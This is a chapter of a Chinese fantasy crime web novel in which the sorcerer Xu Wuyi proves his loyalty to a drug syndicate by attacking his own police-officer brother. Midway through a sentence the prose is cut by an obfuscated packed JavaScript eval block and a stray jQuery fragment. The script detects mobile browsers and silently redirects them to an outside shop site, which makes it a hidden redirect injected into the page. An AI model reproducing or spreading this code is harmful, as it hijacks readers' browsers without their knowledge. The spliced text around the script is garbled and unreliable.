山谷间翻涌的黑毒雾层层叠叠,许无意重绘的杀伐咒印不断释放扭曲可怖的幻象,山石崩裂、尸影丛生的景象死死缠绕住进山的警员队伍。许凌安带着队员前后发起三次强攻,每一次都拼尽全力催动反幻术设备撕开屏障,可阵法修复速度远超破除速度,浓烈毒汽吸入肺腑,不少警员头晕恶心、四肢发软,接连有人支撑不住倒地,失去行动能力。
队伍伤亡不断加重,进攻节奏彻底被迫停滞。许凌安靠在岩壁上喘息,左臂旧伤的麻木感再度翻涌,眼底血丝密布,望着溶洞方向,心底仍不肯彻底放弃,死死攥紧手里仅剩的取证器械。
溶洞内侧的侧通道里,四名地牢卧底看准外围守卫被前线战事牵制,一路避开巡逻人员冲到法坛下方。四人望着立于高台之上、冷静调度术修加固阵法的许无意,尚存最后一丝希冀,高声喊话试图劝他回头。
“许无意,你手里掌握集团全部秘密,现在收手,主动指证凯斯,还有从轻的机会!那些无辜百姓、受害警员,你难道一点都无愧疚吗?”
话音落地,许无意眼皮都未抬一下,指尖轻捻法诀,坛边存储的腐蚀性毒雾骤然朝着四人席卷而去。灰黑色毒雾灼烧皮肤、呛得人呼吸困难,卧底们慌忙后撤躲避,根本无法靠近法坛半步。
许无意居高临下俯视狼狈退走的四人,眼神冷硬没有半分波澜,淡淡吩咐身侧术修:“守住侧洞,不许任何人靠近法坛。”
这一记毒雾逼退,彻底掐断了所有人试图劝说他的渠道,旁人终于看清,他是真的一心归顺KTS,再也不会留有任何情面。
没过多久,溶洞入口传来整齐的脚步声,泰比轮亚·凯斯带着一众护卫折返,所有核心毒素、交易账本、海外联络资料全部打包妥善,后山密道的撤离车辆也已安排就绪。
“物资全部转移完毕,这里不能久留,处理掉闯入的警方人员,我们立刻从后山密道撤离。”凯斯走上法坛,站在许无意身侧,目光扫过通道深处,语气带着审视,“方才卧底前来劝降,你处置得很好,看得出来你已经彻底放下私情。”
许无意微微颔首,目光落在通道阴影里,隐约察觉到一道单薄人影正借着阵法盲区缓慢潜行——是许凌安。
前线队伍攻势停滞,许凌安清楚大规模强攻已经行不通,不愿就这样放弃最后的劝说机会,他摸清整片幻术阵法的薄弱死角,避开漫天毒雾与幻象,孤身一人脱离队伍,独自潜入溶洞内部,脚步轻缓,一步步走向高台。
洞内毒雾弥漫,许凌安抬头望向法坛上的弟弟,声音带着压抑许久的疲惫与痛心:“无意,回头吧。U盘你虽然毁掉了,但只要你愿意作证指证凯斯,交代所有制毒、伪造鉴定的全部内情,我会替你向上面陈情,争取宽大处理。我们是亲兄弟,我不想亲眼抓你。”
这番话是他最后的让步,也是心底仅存的期盼。
凯斯闻言冷笑一声,侧头看向许无意,言语暗藏施压:“听见了?这是你最后的证明机会,让我看看你到底站在哪一边。”
所有术修、护卫的目光全部集中在许无意身上,等着他做出选择。
许无意静静伫立在法坛高处,先是遥遥对上许凌安哀切又失望的视线,心底那一点残存的柔软轻轻震颤,睫毛极细微地颤动了一瞬,可仅仅片刻,那丝微弱的情绪便被他强行压入心底,彻底冰封。
他面上没有半分犹豫,眉眼冷平,眼底锐利空洞,像在看待一名无关紧要的敌方目标,没有一丝亲人之间的动容与不舍,下颌紧绷,嘴唇紧抿,整张脸覆上一层毫无温度的漠然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663684|205039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
没有半句争辩,没有半句犹豫,许无意抬手,十指飞快掐动杀伐咒印,周身黑色灵力疯狂翻涌,汇聚成一道裹挟剧毒的黑雾洪流,径直朝着下方的许凌安狠狠轰去。
凯斯与一众手下静静旁观,无人阻拦。
黑雾来得迅猛,许凌安来不及完全躲闪,大半道咒法结结实实落在身上。刺骨麻痹的痛感瞬间席卷全身,五脏六腑如同被重物碾轧,他踉跄着重重摔倒在地,胸口剧烈起伏,口中溢出一丝浅淡血迹,浑身力气飞速流失,连抬手的力气都消失殆尽。
他艰难抬眼,再次望向高台之上的许无意。
许无意依旧居高临下地俯视着他,眼神淡漠疏离,没有半分心疼,没有一丝后悔,方才那转瞬即逝的痛楚彻底藏得无影无踪,只剩下全然的冰冷决绝,刻意摆出彻底割舍血脉亲情、效忠集团的模样。
他没有移开视线,就这般冷冷与倒地负伤的兄长对视,亲手催动术法重创对方的举动,是献给凯斯最实在的投名状。
“哥哥,”许无意声音平淡无波,听不出任何情绪,“从销毁U盘那一刻起,我们之间就没有回头路了。”
一句话,彻底斩断从小到大所有手足情分。
凯斯见状十分满意,抬手拍了拍许无意的肩膀:“很好,从今往后,我彻底信你。所有人准备,开启后山密道,即刻撤离。”
许无意收回灵力,周身黑雾缓缓散去,再没有多看倒地的许凌安一眼,转身配合凯斯安排众人有序撤退,动作利落,全然不见半分迟疑。
溶洞之中,毒雾未散,许凌安瘫倒在地,浑身剧痛无力,望着弟弟决绝离去的背影,心口沉重得喘不过气。少年相伴的过往、多年的兄弟羁绊,尽数在方才那一记术法之下,碎得一干二净。